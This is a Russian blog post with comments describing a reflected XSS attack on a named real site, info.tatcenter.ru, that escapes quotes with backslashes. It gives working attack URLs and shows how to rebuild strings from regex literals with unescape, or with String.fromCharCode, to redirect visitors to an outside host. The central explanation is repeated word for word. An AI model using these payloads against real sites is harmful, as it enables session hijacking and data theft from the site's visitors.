XSS
С досады придумал способ использования XSS-уязвимости в случае, если на сайте кавычки и апострофы экранируются слешами. Рассмотрим, например, сайт Tatcenter.
Запрос вида: httр://info.tatcenter.ru/search/?search="><script>location.href="httр://sample.com"</script>
Поможет нам закрыть теги INPUT и A, в которых выводится запрос, потому что строка приводится к виду: …search=\"><script>….
но не выполнить JavaScript не удасться, так как из-за экранирования кавычек нарушается JavaScript-код. Выход нашёлся очень быстро я вспомнил, что в JavaScript уже давным-давно введён новый тип данные регулярное выражение. Его ограничители обычные слеши. Более того, регулярное выражение отлично приводится к строке самим JavaScript, единственное неудобство слеши-ограничители остаются в строке.
Но! Никто нам не мешает, преобразовав это выражение к строке просто отрезать слеши методом substr или slice. Например , выражение
String(/string/).slice(1,-1)
даст нам строку "string". Прекрасно, но тут перед нами встаёт новая трудность. Обычно XSS-уязвимость используется для того, чтобы передать какую-либо информацию на другой сайт. Для того, чтобы её передать, нам надо получить строку вида "httр://sample.com", но мы не можем её заключить между слешами она сама содержит слеши.
Тут нам на выручку приходит JavaScript-метод unescape. Слеш в escaped-представлении выглядит как "%2F", таким образом
unescape(String (/httр:%2F%2F/).slice(1,-1))
даст нам строку "httр://". Осталось только скомпоновать всё в одну строку и не забыть, что "%" значимый символ в URL и его надо преобразовать в комбинацию "%25":
httр://info.tatcenter.ru/search/?search="><script>alert(unescape(String(/a%252Faa/).slice(1,-1)))</script>
Запрос вида: httр://info.tatcenter.ru/search/?search="><script>location.href="httр://sample.com"</script>
Поможет нам закрыть теги INPUT и A, в которых выводится запрос, потому что строка приводится к виду: …search=\"><script>….
но не выполнить JavaScript не удасться, так как из-за экранирования кавычек нарушается JavaScript-код. Выход нашёлся очень быстро я вспомнил, что в JavaScript уже давным-давно введён новый тип данные регулярное выражение. Его ограничители обычные слеши. Более того, регулярное выражение отлично приводится к строке самим JavaScript, единственное неудобство слеши-ограничители остаются в строке.
Но! Никто нам не мешает, преобразовав это выражение к строке просто отрезать слеши методом substr или slice. Например , выражение
String(/string/).slice(1,-1)
даст нам строку "string". Прекрасно, но тут перед нами встаёт новая трудность. Обычно XSS-уязвимость используется для того, чтобы передать какую-либо информацию на другой сайт. Для того, чтобы её передать, нам надо получить строку вида "httр://sample.com", но мы не можем её заключить между слешами она сама содержит слеши.
Тут нам на выручку приходит JavaScript-метод unescape. Слеш в escaped-представлении выглядит как "%2F", таким образом
unescape(String (/httр:%2F%2F/).slice(1,-1))
даст нам строку "httр://". Осталось только скомпоновать всё в одну строку и не забыть, что "%" значимый символ в URL и его надо преобразовать в комбинацию "%25":
httр://info.tatcenter.ru/search/?search="><script>alert(unescape(String(/a%252Faa/).slice(1,-1)))</script>
А что бывают сайты, на которых кавычки и апострофы экранируются, а угловые скобки нет?
Строку также можно получить используя
String.fromCharCode(104,116,116,112,58,47,47,115,97,109,112,108,101,46,99,111,109)
Комментарий для Александр:
Точно! Можно и так.
Сайт разные бывают. Я вот привёл конкретный пример.
Т. е. info.tatcenter.ru существует?
Я думал это отвлеченный пример, ибо этот домен у меня не открывается.
Комментарий для Александр:
Существует.